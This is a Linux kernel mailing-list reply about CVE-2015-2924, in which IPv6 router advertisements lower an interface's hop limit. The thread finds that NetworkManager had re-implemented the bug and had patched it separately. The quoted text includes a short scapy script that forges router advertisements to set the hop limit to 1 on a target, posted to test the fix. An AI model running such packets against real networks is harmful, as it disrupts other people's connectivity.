From mboxrd@z Thu Jan 1 00:00:00 1970 From: Dan Williams Subject: Re: [GIT] Networking Date: Wed, 29 Apr 2015 13:13:20 -0500 Message-ID: <1430331200.8790.1.camel@redhat.com> References: <20150401.154847.612566794393812348.davem@davemloft.net> <5540F605.2040907@modio.se> <1430326235.4070.16.camel@redhat.com> <55410CF4.9000609@modio.se> Mime-Version: 1.0 Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: 7bit Cc: Denys Vlasenko , David Miller , Linus Torvalds , Andrew Morton , netdev@vger.kernel.org, Linux Kernel Mailing List , Hannes Frederic Sowa , Don Howard To: "D.S. Ljungmark" Return-path: In-Reply-To: <55410CF4.9000609@modio.se> Sender: linux-kernel-owner@vger.kernel.org List-Id: netdev.vger.kernel.org On Wed, 2015-04-29 at 18:55 +0200, D.S. Ljungmark wrote: > > On 29/04/15 18:50, Dan Williams wrote: > > On Wed, 2015-04-29 at 17:17 +0200, D.S. Ljungmark wrote: > >> On 29/04/15 16:51, Denys Vlasenko wrote: > >>> On Wed, Apr 1, 2015 at 9:48 PM, David Miller wrote: > >>>> D.S. Ljungmark (1): > >>>> ipv6: Don't reduce hop limit for an interface > >>> > >>> https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=6fd99094de2b83d1d4c8457f2c83483b2828e75a > >>> > >>> I was testing this change and apparently it doesn't close the hole. > >>> > >>> The python script I use to send RAs: > >>>- > >>> #!/usr/bin/env python > >>> import sys > >>> import time > >>> import scapy.all > >>> from scapy.layers.inet6 import * > >>> ip = IPv6() > >>> # ip.dst = 'ff02::1' > >>> ip.dst = sys.argv[1] > >>> icmp = ICMPv6ND_RA() > >>> icmp.chlim = 1 > >>> for x in range(10): > >>> send(ip/icmp) > >>> time.sleep(1) > >>> > >>> # ./ipv6-hop-limit.py fe80::21e:37ff:fed0:5006 > >>> . > >>> Sent 1 packets. > >>> ...<10 times>... > >>> Sent 1 packets. > >>> > >>> After I do this, on the targeted machine I check hop_limits: > >>> > >>> # for f in /proc/sys/net/ipv6/conf/*/hop_limit; do echo -n $f:; cat $f; done > >>> /proc/sys/net/ipv6/conf/all/hop_limit:64 > >>> /proc/sys/net/ipv6/conf/default/hop_limit:64 > >>> /proc/sys/net/ipv6/conf/enp0s25/hop_limit:1 <=== THIS > >>> /proc/sys/net/ipv6/conf/lo/hop_limit:64 > >>> /proc/sys/net/ipv6/conf/wlp3s0/hop_limit:64 > >>> > >>> As you see, the interface which received RAs still lowered > >>> its hop_limit to 1. I take it means that the bug is still present > >>> (right? I'm not a network guy...). > >> > >> It might not be present in the _kernel_. Do you run NetworkManager on > >> your system? If so, see below. > >> > >>> > >>> I triple-checked that I do run the kernel with the fix. > >>> Further investigation shows that the code touched by the fix > >>> is not even reached, hop_limit is changed elsewhere. > >>> > >>> I'm willing to test additional patches. > >> > >> NetworkManager had it's own re-implementation of the bug. It got fixed > >> with NetworkManager commit: > >> > >> commit bdaaf9849b0cacf131b71fa2ae168f5db796874f > >> Author: Thomas Haller > >> Date: Wed Apr 8 15:54:30 2015 +0200 > >> > >> platform: don't accept lowering IPv6 hop-limit from RA (CVE-2015-2924) > >> > >> > >> > >> Beforte that commit, NetworkManager would take the RA packet, extract > >> the hop limit, and write it to the sysctl itself. > > > > Yup, we basically followed the original kernel logic here, so we needed > > to patch it in NM as well. It's been backported to NM 0.9.10, 1.0, and > > obviously is in git master. > > > > Are there any release announcements for NetworkManager? Or a place to > link for official releases/homepage? The mailing list: https://mail.gnome.org/mailman/listinfo/networkmanager-list The project site: https://wiki.gnome.org/Projects/NetworkManager Dan